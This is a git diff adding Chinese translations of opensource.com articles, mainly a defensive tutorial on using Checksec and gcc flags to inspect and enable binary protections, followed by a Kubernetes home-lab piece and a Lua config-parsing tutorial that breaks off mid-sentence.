这篇文章能让你了解如何使用 Checksec ,来识别一个可执行文件的安全属性,了解安全属性的含义,并知道如何使用它们。 + +![][0] + +编译源代码会生成一个二进制文件(LCTT 译注:即 `.o` 文件)。在编译期间,你可以向 `gcc` 编译器提供 标志 flags ,以启用或禁用二进制文件的某些属性,这些属性与安全性相关。 + +Checksec 是一个漂亮的小工具,同时它也是一个 shell 脚本。Checksec 可以识别编译时构建到二进制文件中的安全属性。编译器可能会默认启用一些安全属性,你也可以提供特定的标志,来启用其他的安全属性。 + +本文将介绍如何使用 Checksec ,来识别二进制文件的安全属性,包括: + + 1. Checksec 在查找有关安全属性的信息时,使用了什么**底层的命令** + 2. 在将源代码编译成二进制文件时,如何使用 GNU 编译器套件 GNU Compiler Collection (即 GCC)来**启用安全属性**。 + +### 安装 checksec + +要在 Fedora 和其他基于 RPM 的 Linux 系统上,安装 Checksec,请使用以下命令: + +``` +$ sudo dnf install checksec +``` + +对于基于 Debian 的 Linux 发行版,使用对应的 `apt` 命令,来安装 Checksec。 + +``` +$ sudo apt install checksec +``` + +### shell 脚本 + +在安装完 Checksec 后,能够发现 Checksec 是一个**单文件**的 shell 脚本,它位于 `/usr/bin/checksec`,并且这个文件挺大的。Checksec 的一个优点是你可以通过快速通读这个 shell 脚本,从而了解 Checksec 的执行原理、明白所有能查找有关二进制文件或可执行文件的安全属性的**系统命令**: + +``` +$ file /usr/bin/checksec +/usr/bin/checksec: Bourne-Again shell script, ASCII text executable, with very long lines + +$ wc -l /usr/bin/checksec +2111 /usr/bin/checksec +``` + +以下的命令展示了如何对你每天都会使用的:`ls` 命令的二进制文件运行 Checksec。Checksec 命令的格式是:`checksec --file=`,后面再跟上二进制文件的绝对路径: + +``` +$ checksec --file=/usr/bin/ls +RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE +Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols        Yes   5       17              /usr/bin/ls +``` + +当你在终端中对某个二进制文件运行 Checksec 时,你会看到安全属性有颜色上的区分,显示什么是好的安全属性(绿色),什么可能不是好的安全属性(红色)。我在这里说 **“可能”** 是因为即使有些安全属性是红色的,也不一定意味着这个二进制文件很糟糕,它可能只是表明发行版供应商在编译二进制文件时做了一些权衡,从而舍弃了部分安全属性。 + +Checksec 输出的第一行提供了二进制文件的各种安全属性,例如 `RELRO`、`STACK CANARY`、`NX` 等(我将在后文进行详细解释)。第二行打印出给定二进制文件(本例中为 `ls`)在这些安全属性的状态(例如,`NX enabled` 表示为堆栈中的数据没有执行权限)。 + +### 示例二进制文件 + +在本文中,我将使用以下的 “hello world” 程序作为示例二进制文件。 + +``` +#include + +int main() +{ + printf("Hello World\n"); + return 0; +} +  +``` + +请注意,在编译源文件 `hello.c` 的时候,我没有给 `gcc` 提供任何额外的标志: + +``` +$ gcc hello.c -o hello +  +$ file hello +hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=014b8966ba43e3ae47fab5acae051e208ec9074c, for GNU/Linux 3.2.0, not stripped + +$ ./hello +Hello World +``` + +使用 Checksec 运行二进制文件 `hello`,打印的某些安全属性的状态,与上面的 `ls` 二进制文件的结果不同(在你的屏幕上,某些属性可能显示为红色): + +``` +$ checksec --file=./hello +RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE +Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   85) Symbols       No    0       0./hello +$ +``` + +(LCTT 译注:在我的 Ubuntu 22.04 虚拟机,使用 11.3.0 版本的 `gcc`,结果与上述不太相同,利用默认参数进行编译,会得到 RELRO、PIE、NX 保护是全开的情况。) + +### 更改 Checksec 的输出格式 + +Checksec 允许自定义各种输出格式,你可以使用 `--output` 来自定义输出格式。我将选择的输出格式是 JSON 格式,并将输出结果通过管道传输到 `jq` 实用程序,来得到漂亮的打印。 + +接下来,确保你已安装好了 [jq][3],因为本教程会使用 `jq` 从 Checksec 的输出结果中,用 `grep` 来快速得到某一特定的安全属性状态,并报告该安全属性是否启动(启动为 `yes`,未启动为 `no`): + +``` +$ checksec --file=./hello --output=json | jq +{ +  "hello": { +    "relro": "partial", +    "canary": "no", +    "nx": "yes", +    "pie": "no", +    "rpath": "no", +    "runpath": "no", +    "symbols": "yes", +    "fortify_source": "no", +    "fortified": "0", +    "fortify-able": "0" +  } +} +``` + +### 看一看所有的安全属性 + +上面的二进制文件 `hello` 包括几个安全属性。我将该二进制文件与 `ls` 的二进制文件进行比较,以检查启用的安全属性有何不同,并解释 Checksec 是如何找到此信息。 + +#### 1、符号(Symbol) + +我先从简单的讲起。在编译期间,某些 符号 symbols 包含在二进制文件中,这些符号主要用作于调试。开发软件时,需要用到这些符号,来调试和修复错误。 + +这些符号通常会从供用户普遍使用的最终二进制文件中删除。删除这些符号不会影响到二进制文件的执行。删除符号通常是为了节省空间,因为一旦符号被删除了,二进制文件就会稍微小一些。在闭源或专有软件中,符号通常都会被删除,因为把这些符号放在二进制文件中,可以很容易地推断出软件的内部工作原理。 + +根据 Checksec 的结果,在二进制文件 `hello` 中有符号,但在 `ls` 的二进制文件中不会有符号。同样地,你还可以用 `file` 命令,来找到符号的信息,在二进制文件 `hello` 的输出结果的最后,看到 `not stripped`,表明二进制文件 `hello` 有符号: + +``` +$ checksec --file=/bin/ls --output=json | jq | grep symbols +    "symbols": "no", + +$ checksec --file=./hello --output=json | jq | grep symbols +    "symbols": "yes", + +$ file hello +hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=014b8966ba43e3ae47fab5acae051e208ec9074c, for GNU/Linux 3.2.0, not stripped +``` + +Checksec 是如何找到符号的信息呢?Checksec 提供了一个方便的 `--debug` 选项,来显示运行了哪些函数。因此,运行以下的命令,会显示在 shell 脚本中运行了哪些函数: + +``` +$ checksec --debug --file=./hello +``` + +在本教程中,我试图寻找 Checksec 查找安全属性信息时,使用了什么**底层命令**。由于 Checksec 是一个 shell 脚本,因此你始终可以使用 Bash 功能。以下的命令将输出从 shell 脚本中运行的每个命令: + +``` +$ bash -x /usr/bin/checksec --file=./hello +``` + +如果你滚动浏览上述的输出结果的话,你会看到 `echo_message` 后面有各个安全属性的类别。以下显示了 Checksec 检测二进制文件是否包含符号时,运行的底层命令: + +``` ++ readelf -W --symbols ./hello ++ grep -q '\\.symtab' ++ echo_message '\033[31m96) Symbols\t\033[m  ' Symbols, ' symbols="yes"' '"symbols":"yes",' +``` + +上面的输出显示,Checksec 利用 `readelf`,来读取二进制文件,并提供一个特殊 `--symbols` 标志,来列出二进制文件中的所有符号。然后它会查找一个特殊值:`.symtab`,它提供了所能找到的条目的计数(即符号的个数)。你可以在上面编译的测试二进制文件 `hello` 上,尝试以下命令,得到与 Checksec 查看二进制文件类似的符号信息: + +``` +$ readelf -W --symbols ./hello +$ readelf -W --symbols ./hello | grep -i symtab +``` + +(LCTT 译注:也可以通过直接查看 `/usr/bin/checksec` 下的 Checksec 源文件。) + +##### 如何删除符号 + +你可以在编译后或编译时删除符号。 + + * **编译后:** 在编译后,你可以使用 `strip`,手动地来删除二进制文件的符号。删除后,使用 `file` 命令,来检验是否还有符号,现在显示 `stripped`,表明二进制文件 `hello` 无符号了: + + ``` + $ gcc hello.c -o hello + $ + $ file hello + hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=322037496cf6a2029dcdcf68649a4ebc63780138, for GNU/Linux 3.2.0, not stripped + $ + $ strip hello + $ + $ file hello + hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=322037496cf6a2029dcdcf68649a4ebc63780138, for GNU/Linux 3.2.0, stripped + $ + ``` + * **编译时:** 你也可以在编译时,用 `-s` 参数让 gcc 编译器帮你自动地删除符号: + + ``` + $ gcc -s hello.c -o hello + $ + $ file hello + hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=247de82a8ad84e7d8f20751ce79ea9e0cf4bd263, for GNU/Linux 3.2.0, stripped + $ + ``` + + 重新运行 Checksec,你可以看到现在二进制文件 `hello` 的 `symbols` 这一属性的值是`no`: + + ``` + $ checksec --file=./hello --output=json | jq | grep symbols +     "symbols": "no", + $ + ``` + +#### 2、Canary(堆栈溢出哨兵) + +Canary 是放置在缓冲区和 stack 上的控制数据之间的已知值,它用于监视缓冲区是否溢出。当应用程序执行时,会为其分配两种内存,其中之一就是 _栈_。栈是一个具有两个操作的数据结构:第一个操作 `push`,将数据压入堆栈;第二个操作 `pop`,以后进先出的顺序从栈中弹出数据。恶意的输入可能会导致栈溢出,或使用特制的输入破坏栈,并导致程序崩溃: + +``` +$ checksec --file=/bin/ls --output=json | jq | grep canary +    "canary": "yes", +$ +$ checksec --file=./hello --output=json | jq | grep canary +    "canary": "no", +$ +``` + +Checksec 是如何确定二进制文件是否启用了 Canary 的呢?使用上述同样的方法,得到 Checksec 在检测二进制文件是否启用 Canary 时,运行的底层命令: + +``` +$ readelf -W -s ./hello | grep -E '__stack_chk_fail|__intel_security_cookie' +``` + +##### 启用 Canary + +为了防止栈溢出等情况,编译器提供了 `-stack-protector-all` 标志,它向二进制文件添加了额外的代码,来检查缓冲区是否溢出: + +``` +$ gcc -fstack-protector-all hello.c -o hello + +$ checksec --file=./hello --output=json | jq | grep canary +    "canary": "yes", +``` + +Checksec 显示 Canary 属性现已启用。你还可以通过以下方式,来验证这一点: + +``` +$ readelf -W -s ./hello | grep -E '__stack_chk_fail|__intel_security_cookie' +     2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __stack_chk_fail@GLIBC_2.4 (3) +    83: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __stack_chk_fail@@GLIBC_2.4 +$ +``` + +#### 3、位置无关可执行文件(PIE) + +位置无关可执行文件Position-Independent Executable(PIE),顾名思义,它指的是放置在内存中某处执行的代码,不管其绝对地址的位置,即代码段、数据段地址随机化(ASLR): + +``` +$ checksec --file=/bin/ls --output=json | jq | grep pie +    "pie": "yes", + +$ checksec --file=./hello --output=json | jq | grep pie +    "pie": "no", +``` + +通常,PIE 仅对 libraries 启用,并不对独立命令行程序启用 PIE。在下面的输出中,`hello` 显示为 `LSB executable`,而 `libc` 标准库(`.so`) 文件被标记为 `LSB shared object`: + +``` +$ file hello +hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=014b8966ba43e3ae47fab5acae051e208ec9074c, for GNU/Linux 3.2.0, not stripped + +$ file /lib64/libc-2.32.so +/lib64/libc-2.32.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=4a7fb374097fb927fb93d35ef98ba89262d0c4a4, for GNU/Linux 3.2.0, not stripped +``` + +Checksec 查找是否启用 PIE 的底层命令如下: + +``` +$ readelf -W -h ./hello | grep EXEC +  Type:                              EXEC (Executable file) +``` + +如果你在共享库上尝试相同的命令,你将看到 `DYN`,而不是 `EXEC`: + +``` +$ readelf -W -h /lib64/libc-2.32.so | grep DYN +  Type:                              DYN (Shared object file) +``` + +##### 启用 PIE + +要在测试程序 `hello.c` 上启用 PIE,请在编译时,使用以下命令: + +``` +$ gcc -pie -fpie hello.c -o hello` +``` + +你可以使用 Checksec,来验证 PIE 是否已启用: + +``` +$ checksec --file=./hello --output=json | jq | grep pie +    "pie": "yes", +$ +``` + +现在,应该会显示为 “ PIE 可执行 pie executable ”,其类型从 `EXEC` 更改为 `DYN`: + +``` +$ file hello +hello: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=bb039adf2530d97e02f534a94f0f668cd540f940, for GNU/Linux 3.2.0, not stripped + +$ readelf -W -h ./hello | grep DYN +  Type:                              DYN (Shared object file) +``` + +#### 4、NX(堆栈禁止执行) + +NX 代表 不可执行 non-executable 。它通常在 CPU 层面上启用,因此启用 NX 的操作系统可以将某些内存区域标记为不可执行。通常,缓冲区溢出漏洞将恶意代码放在堆栈上,然后尝试执行它。但是,让堆栈这些可写区域变得不可执行,可以防止这种攻击。在使用 `gcc` 对源程序进行编译时,默认启用此安全属性: + +``` +$ checksec --file=/bin/ls --output=json | jq | grep nx +    "nx": "yes", + +$ checksec --file=./hello --output=json | jq | grep nx +    "nx": "yes", +``` + +Checksec 使用以下底层命令,来确定是否启用了 NX。在尾部的 `RW` 表示堆栈是可读可写的;因为没有 `E`,所以堆栈是不可执行的: + +``` +$ readelf -W -l ./hello | grep GNU_STACK +  GNU_STACK      0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW  0x10 +``` + +##### 演示如何禁用 NX + +我们不建议禁用 NX,但你可以在编译程序时,使用 `-z execstack` 参数,来禁用 NX: + +``` +$ gcc -z execstack hello.c -o hello + +$ checksec --file=./hello --output=json | jq | grep nx +    "nx": "no", +``` + +编译后,堆栈会变为可读可写可执行(`RWE`),允许在堆栈上的恶意代码执行: + +``` +$ readelf -W -l ./hello | grep GNU_STACK +  GNU_STACK      0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RWE 0x10 +``` + +#### 5、RELRO(GOT 写保护) + +RELRO 代表 “重定位只读 Relocation Read-Only ”。可执行链接格式(ELF)二进制文件使用全局偏移表(GOT)来动态地解析函数。启用 RELRO 后,会设置二进制文件中的 GOT 表为只读,从而防止重定位攻击: + +``` +$ checksec --file=/bin/ls --output=json | jq | grep relro +    "relro": "full", + +$ checksec --file=./hello --output=json | jq | grep relro +    "relro": "partial", +``` + +Checksec 使用以下底层命令,来查找是否启用 RELRO。在二进制文件 `hello` 仅启用了 RELRO 属性中的一个属性,因此,在 Checksec 验证时,显示 `partial`: + +``` +$ readelf -W -l ./hello | grep GNU_RELRO +  GNU_RELRO      0x002e10 0x0000000000403e10 0x0000000000403e10 0x0001f0 0x0001f0 R   0x1 + +$ readelf -W -d ./hello | grep BIND_NOW +``` + +##### 启用全 RELRO + +要启用全 RELRO,请在 `gcc` 编译时,使用以下命令行参数: + +``` +$ gcc -Wl,-z,relro,-z,now hello.c -o hello + +$ checksec --file=./hello --output=json | jq | grep relro +    "relro": "full", +``` + +现在, RELRO 中的第二个属性也被启用,使程序变成全 RELRO: + +``` +$ readelf -W -l ./hello | grep GNU_RELRO +  GNU_RELRO      0x002dd0 0x0000000000403dd0 0x0000000000403dd0 0x000230 0x000230 R   0x1 + +$ readelf -W -d ./hello | grep BIND_NOW + 0x0000000000000018 (BIND_NOW)       +``` + +#### 6、Fortify + +Fortify 是另一个安全属性,但它超出了本文的范围。Checksec 是如何在二进制文件中验证 Fortify,以及如何在 `gcc` 编译时启用 Fortify,作为你需要解决的课后练习。 + +``` +$ checksec --file=/bin/ls --output=json | jq  | grep -i forti +    "fortify_source": "yes", +    "fortified": "5", +    "fortify-able": "17" + +$ checksec --file=./hello --output=json | jq  | grep -i forti +    "fortify_source": "no", +    "fortified": "0", +    "fortify-able": "0" +``` + +### 其他的 Checksec 功能 + +关于安全性的话题是永无止境的,不可能在本文涵盖所有关于安全性的内容,但我还想提一下 Checksec 命令的一些其他功能,这些功能也很好用。 + +#### 对多个二进制文件运行 Checksec + +你不必对每个二进制文件都进行一次 Checksec。相反,你可以提供多个二进制文件所在的目录路径,Checksec 将一次性为你验证所有文件: + +``` +$ checksec --dir=/usr +``` + +#### 对进程运行 Checksec + +Checksec 除了能检查二进制文件的安全属性,Checksec 还能对程序起作用。以下的命令用于查找你系统上所有正在运行的程序的安全属性。如果你希望 Checksec 检查所有正在运行的进程,可以使用 `--proc-all`,或者你也可以使用进程名称,选择特定的进程进行检查: + +``` +$ checksec --proc-all + +$ checksec --proc=bash +``` + +#### 对内核运行 Checksec + +除了本文介绍的用 Checksec 检查用户态应用程序的安全属性之外,你还可以使用它来检查系统内置的 内核属性 kernel properties : + +``` +$ checksec --kernel +``` + +### 快来试一试 Checksec 吧 + +Checksec 是一个能了解哪些用户空间和内核的安全属性被启用的好方法。现在,你就可以开始使用 Checksec,来了解每个安全属性是什么,并明白启用每个安全属性的原因,以及它能阻止的攻击类型。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/6/linux-checksec + +作者:[Gaurav Kamathe][a] +选题:[lujun9972][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/gkamathe +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/lead-images/target-security.png +[2]: http://www.opengroup.org/onlinepubs/009695399/functions/printf.html +[3]: https://stedolan.github.io/jq/download/ +[0]: https://img.linux.net.cn/data/attachment/album/202211/18/095702dzvm482460vnrv6y.jpg \ No newline at end of file diff --git a/published/202211/20210618 5 more reasons to run Kubernetes in your Linux homelab.md b/published/202211/20210618 5 more reasons to run Kubernetes in your Linux homelab.md new file mode 100644 index 0000000000..92af1e9e3a --- /dev/null +++ b/published/202211/20210618 5 more reasons to run Kubernetes in your Linux homelab.md @@ -0,0 +1,100 @@ +[#]: subject: (5 more reasons to run Kubernetes in your Linux homelab) +[#]: via: (https://opensource.com/article/21/6/kubernetes-linux-homelab) +[#]: author: (Seth Kenlon https://opensource.com/users/seth) +[#]: collector: (lujun9972) +[#]: translator: (chai001125) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15278-1.html) + +在你的 Linux 家庭实验室上运行 Kubernetes 的 5 个理由 +====== + +> Kubernetes 的优势不仅在于它能够做什么,还在于知道它能为你做什么。 + +![][0] + +在 [树莓派家庭实验室上运行 Kubernetes 的 5 个理由][2] 这篇文章中,我解释了为什么推荐在家里使用 Kubernetes。其中的理由相对来说会有点随意,并且主要于关注结果。除了 Kubernetes 好用的功能之外,还有其他几个应将 Kubernetes 包含在你自己的计算机的理由。 + +(LCTT 译注:家庭实验室Homelab 指的是安置在你家里的一个服务器或者多服务器的组合配置。在之上托管了多个服务和虚拟系统,以此来进行测试、开发,或者提供家庭功能用途。) + +### 1、Kubernetes 是基于 Linux 而建立的 + +![T-shirt reading "Containers are Linux"][3] + +Kubernetes 有很高的知名度。对于一些人来说,Kubernetes 是一种神秘技术,有一个不好念的名字;而对另一些人来说,Kubernetes 就好像是牧羊犬放牧羊群一样,可以帮助他们管理过多的容器;对于其它人来说,Kubernetes 是一种 cloud 的操作系统,是 实效云开发 effective cloud development 的一个有用的界面;对于大多数人来说,Kubernetes 可能是他们从未听说过的后端软件。正如人们所想的那样,Kubernetes 具有所有这些能力,甚至有更多的功能。 + +并非每个人都以相同的方式使用 Kubernetes,但如果你主要的工作是系统管理,你会发现 Kubernetes _只是又一个 Linux 命令_。 + +我有一件 T 恤,上面写着 “容器就是 Linux Containers are Linux ”,它的意思是显而易见的。容器技术使用 cgroup,来运行包含一个或一组应用程序的最小 Linux 操作系统镜像。当你运行容器时,实际上你就是在运行 Linux。虽然 Kubernetes 能在许多平台上使用,但 Kubernetes 管理的是 Linux 容器。当你通过终端与 Kubernetes 交互时,就像是使用 Linux:有命令、选项、参数和语法。运行 Kubernetes 的 `kubeadm` 或(在 OKD 或 OpenShift 上)运行 `oc` 命令,你会感觉到很熟悉,是因为它们的工作方式与你习惯使用的任何其他 Linux 命令一样。开始时看似陌生的东西很快就会变得自然,任何有兴趣在终端上花时间的 Linux 用户都可以在 Kubernetes 中探索到许多有趣的东西。 + +### 2、Kubernetes 很灵活 + +在过去,Kubernetes 有点死板,因为从本质上来说,它仅能支持一个 容器运行时 container runtime 。这个规定非常严格,以至于今天需要一个 硬编码的垫片 hardcoded shim ,才能绕过这个遗留问题。幸运的是,如今 Kubernetes 已经变得足够灵活,可以满足管理员的许多不同需求了。[Podman][5] 和 [CRI-O][6] 可用作于容器引擎,它们都可以与 [systemd][7] 集成(这是因为 Kubernetes 的底层都是 Linux)。你可以自己选择 Kubernetes 所使用的文件系统、集群大小和构造、监控工具、镜像、编程语言等等配置。甚至现在有些人说 Kubernetes 有 _太多_ 的选择了。 + +### 3、学习 Kubernetes 有助于个人发展 + +容器是一个硕果累累的事物,它们会快速地成倍增长,这就是它的设计。容器旨在扩展,它们通过生成克隆来扩展。将容器分组(称为 “容器荚pod”),并自动管理容器荚的生命周期,这就是 Kubernetes 运用的方式。它正在改变服务器的运行方式。 + +你可能不需要无限扩展的容器集合,也不需要任何东西来帮助你管理正运行的一或两个容器。但是,如果你希望受益于处理容器荚的能力,那么 Kubernetes 正是你需要学习的工具。随着越来越多的公司和组织走向全球,拥抱 [数字化转型][8],Kubernetes 正在成为 IT 领域的必备技能。如果你想要在这个领域中发展,那么现在开始学习 Kubernetes 并熟悉它的常见问题及其解决方案,将会是一项很好的投资。 + +### 4、Kubernetes 让容器更有意义 + +你可能还记得几年前,当开源项目刚开始将它们的代码作为容器镜像分发时,对于许多人来说,容器这一概念是令人费解的:没有多少系统管理员真正理解 [容器是什么][9],或者明白容器的边界在哪里、如何进入容器,以及为什么数据不能存在于容器内。 + +现在,IT 界(包括开发人员在内)都对容器的概念都十分熟悉了。对于现代的 [CI/CD 工作流程][10] 来说,交付给容器十分有意义。不过,对于系统管理员来说,容器的优势如下:安装容器(理论上)比等待发行版更新其软件包更为容易,而且容器可以扩展。然而,在你使用 Kubernetes 之前,你很可能都不会真正地感受到这些好处。当你开始使用 Kubernetes 和相关工具管理容器之前,持续交付容器的好处和容器的扩展能力可能只是你从文章里面读过的想法。将容器集成到你管理服务器的方式中,你会突然明白 Kubernetes 中令人兴奋的是什么。 + +![Apache JMeter][11] + +你可以试试看这个最基本的测试:只需在容器中启动你最喜欢的 Web 服务器,创建一个容器荚,然后使用来自 [Apache JMeter][12] 的流量访问你的服务器,然后观察容器响应。 + +### 5、Kubernetes 是云原生的 + +如果你主要做的是软件开发,而不是系统管理,那么 Kubernetes 也是 网页应用程序 web apps 的一个很好的平台。我们现在都在使用网页应用程序,尽管大多数人只是将它们视为 “网站 website ”。网络拥有庞大的用户群,因此通过浏览器提供开源的应用程序是非常有意义的。有一些很棒的开源应用程序在网络上运行,其中许多的应用程序都以容器的形式分发的,它们可以支持简单的安装和持续的用户体验。 + +### Kubernetes 的其他优势:Kubernetes 很有意思 + +你还记得你还是 Linux 新手的时候吗?对于一些人来说,那可能是几十年前的事了,而对于其他人来说,可能是不久的过去。不过,对于所有人来说,学习一项新事物会是一个有趣的挑战。如果你达到了认为 “Linux 的安装与其说是一个挑战,不如说是一个麻烦” 的程度,那么你可以尝试一下构建一个 Kubernetes 集群。它会让你回忆起你忘记的各种概念:如何修改纯文本(特别是 [YAML][13] 格式的)配置文件,如何配置网络接口和网络,如何路由流量,知道一个后端相对于另一个后端的优缺点,在 `--dry-run` 测试之后运行 `--dry-run` 测试,试探性地按回车键来确定你是否做对了。老实说,使用 Kubernetes 很有趣。 + +如果你想构建自己的基础架构,没有什么比构建你自己的 Kubernetes 集群更好的了。Kubernetes 集群将会为你打开一个全新的世界。你很快就会成为一名云架构师,学会完善你的开放云,在容器中安装令人惊叹的开源 Web 应用程序,也能为你的家人和朋友提供访问权限。 + +你自己就能得到解决方案。这真是太棒啦。 + +### 快来试试看 Kubernetes 吧 + +对 Kubernetes 的初学者来说,Kubernetes 似乎很难快速上手,因为 Kubernetes 是一个新的工具,会让你感到有点害怕,而且它还需要云服务。但是,以下有几种方法可以让你开始 Kubernetes 体验。 + +首先,安装 [Minikube][14] 或 [Minishift][14]。这两个工具都允许你在自己的计算机上运行 Kubernetes 的本地实例。虽然这种方式比不上“构建一个集群并与你的朋友共享”那么令人满意,但它是一种让你熟悉 Kubernetes 环境、命令和工具包的很好且安全的方式。 + +当你准备进一步研究 Kubernetes 后,请进一步阅读 Chris Collins 的《[使用树莓派构建 Kubernetes 集群][15]》 的文章。之后,再下载我们的免费电子书 《[在你树莓派家庭实验室上运行 Kubernetes][16]》。在不知不觉中,你会发现自己也明白了“容器就是 Linux”的含义。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/6/kubernetes-linux-homelab + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/wfh_work_home_laptop_work.png?itok=VFwToeMy (Working from home at a laptop) +[2]: https://opensource.com/article/20/8/kubernetes-raspberry-pi +[3]: https://opensource.com/sites/default/files/uploads/containers-are-linux.jpg (T-shirt reading "Containers are Linux") +[4]: https://creativecommons.org/licenses/by-sa/4.0/ +[5]: http://podman.io +[6]: http://cri-o.io +[7]: https://opensource.com/article/21/5/systemd +[8]: https://enterprisersproject.com/what-is-digital-transformation +[9]: https://opensource.com/article/18/11/behind-scenes-linux-containers +[10]: https://opensource.com/article/18/8/what-cicd +[11]: https://opensource.com/sites/default/files/uploads/jmeter.png (Apache JMeter) +[12]: https://jmeter.apache.org +[13]: https://www.redhat.com/sysadmin/yaml-beginners +[14]: https://opensource.com/article/18/10/getting-started-minikube +[15]: https://opensource.com/article/20/6/kubernetes-raspberry-pi +[16]: https://opensource.com/downloads/kubernetes-raspberry-pi +[0]: https://img.linux.net.cn/data/attachment/album/202211/22/000124imal02j2yollqbqj.jpg \ No newline at end of file diff --git a/published/202211/20210623 Parsing config files with Lua.md b/published/202211/20210623 Parsing config files with Lua.md new file mode 100644 index 0000000000..81149510af --- /dev/null +++ b/published/202211/20210623 Parsing config files with Lua.md @@ -0,0 +1,220 @@ +[#]: subject: (Parsing config files with Lua) +[#]: via: (https://opensource.com/article/21/6/parsing-config-files-lua) +[#]: author: (Seth Kenlon https://opensource.com/users/seth) +[#]: collector: (lujun9972) +[#]: translator: (hadisi1993) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15235-1.html) + +使用 Lua 解析配置文件 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/10/084609uq6vvp1vjzqzpc9k.jpg) + +> 使用 Lua 配置持久化应用设置。 + +不是所有的应用都需要配置文件;对很多应用来说,在启动时变得焕然一新对它们更有利。例如,简单的工具就极少需要偏好项和设置在使用过程中保持稳定不变。然而,当你编写一个复杂的应用程序时,如果能让用户设置与应用的交互方式,以及应用与系统交互的方式会很不错。这就是配置文件用来做的事情。本文将讨论一些利用 Lua 进行持久化配置的方法。 + +### 选择一种格式 + +关于配置文件很重要的两点是一致性和可预见性。你不会希望为了保存用户偏好项,将信息转储到文件中,然后再花几天去编码实现“逆向工程”,处理最后出现在文件里的随机信息。 + +这里用一些常用的 [配置文件格式][2]。Lua 有一些库可以处理大多数常用的配置格式;在本文中,我会采用 INI 格式。 + +### 安装库 + +Lua 库的核心仓库是 [Luarocks.org][3]。你可以在这个网站搜索库,或者你可以安装并使用 `luarocks` 终端命令。 + +Linux 环境中,你可以从发行版的软件仓库中下载它,例如: + +``` +$ sudo dnf install luarocks +``` + +在 macOS 上,请使用 [MacPorts][4] 或者 [Homebrew][5]。在 Windows 上,请使用 [Chocolatey][6]。 + +`luarocks` 安装后,你可以使用 `search` 子命令来搜索一个恰当的库。如果你不知道库的名字,可以通过关键词来搜索这个库,例如 `ini`、xml` 或者 `json`,这取决于你想要用这个库做什么。打个比方,你可以搜索 `inifile`, 这个库被我用来解析 INI 格式的文本文件。 + +``` +$ luarocks search inifile +Search results: +inifile + 1.0-2 (rockspec) - https://luarocks.org + 1.0-2 (src) - https://luarocks.org + 1.0-1 (rockspec) - https://luarocks.org + [...] +``` + +一个开发者容易犯的错误是在系统上安装了这个库却忘了把它和应用打包。这会给没有安装这个库的用户带来麻烦。为了防止这个问题发生,可以使用 `--tree` 选项将它安装在项目的本地文件夹中。如果你没有这个项目文件夹,那就先创建这个文件夹再安装库: + +``` +$ mkdir demo +$ cd demo +$ luarocks install --tree=local inifile +``` + +`--tree` 选项指示 `luarocks` 创建一个新文件夹并在其中安装你的库,例如这个例子中的 `local` 文件夹。 使用这个简单的技巧,你可以将所有你项目要使用的依赖项直接安装到项目文件夹中。 + +### 配置代码 + +首先,在一个名 `myconfig.ini` 的文件中创建一些 INI 数据。 + +``` +[example] +name=Tux +species=penguin +enabled=false + +[demo] +name=Beastie +species=demon +enabled=false +``` + +将这个文件保存到你的主目录下,命名为 `myconfig.ini`, _不要_ 存到项目文件夹下。你通常会希望配置文件独立于你的文件存在,这样当用户卸载你的应用时,使用应用时产生的数据可以保存在系统中。有些用户会删除不重要的配置文件,但大多数不会。最终,如果他们要重装这个应用,还会保留着所有的用户偏好项。 + +配置文件的位置以技术来说并不重要,但每一个操作系统都有存储它们的特定或者默认的路径。在 Linux 中,这个路径由 [Freedesktop 规范][7] 指定。它规定配置文件被保存在一个名为 `~/.config` 的隐藏文件夹中。为了操作时更加清晰明确,可以在主目录下存储配置文件,以便于使用和寻找。 + +创建第二个文件,命名为 `main.lua`,并在你喜欢的文本编辑器中打开它。 + +首先,你必须告诉 Lua 你将想要使用的附加库放置在哪里。`package.path` 变量决定了 Lua 到哪里去寻找这些库。你可以从终端中查看 Lua 